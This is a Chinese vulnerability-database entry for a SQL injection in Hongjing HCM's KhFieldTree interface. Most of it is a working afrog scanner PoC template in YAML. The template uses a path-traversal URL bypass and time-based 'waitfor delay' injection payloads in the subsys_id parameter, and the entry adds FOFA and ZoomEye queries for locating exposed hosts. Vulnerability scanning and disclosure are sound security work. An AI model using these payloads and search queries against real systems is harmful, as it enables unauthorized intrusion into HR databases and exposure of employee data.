potential-hjsoft-hcm-khfieldtree-sqli: 宏景HCM KhFieldtree接口SQL注入[需手工验证]

日期: 2025-09-01 | 影响软件: 宏景HCM | POC: 已公开

漏洞描述

FOFA: app="HJSOFT-HCM" ZoomEye: app:"宏景 HCM"

PoC代码[已公开]

id: potential-hjsoft-hcm-khfieldtree-sqli

info:
  name: 宏景HCM KhFieldtree接口SQL注入[需手工验证]
  author: zan8in
  severity: critical
  verified: true
  potential: true
  description: |-
    FOFA: app="HJSOFT-HCM"
    ZoomEye: app:"宏景 HCM"
  tags: hjsoft,sqli
  created: 2023/10/18

rules:
  r0:
    request:
      method: GET
      path: /templates/attestation/%2e%2e/%2e%2e/servlet/performance/KhFieldTree?pointsetid=-1&subsys_id=11'waitfor+delay+'0:0:10'
    expression: response.status == 200 && response.latency <= 12000 &&  response.latency >= 10000
  r1:
    request:
      method: GET
      path: /templates/attestation/%2e%2e/%2e%2e/servlet/performance/KhFieldTree?pointsetid=-1&subsys_id=11'waitfor+delay+'0:0:6'
    expression: response.status == 200 && response.latency <= 8000 &&  response.latency >= 6000
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/potential-hjsoft-hcm-khfieldtree-sqli.yaml

相关漏洞推荐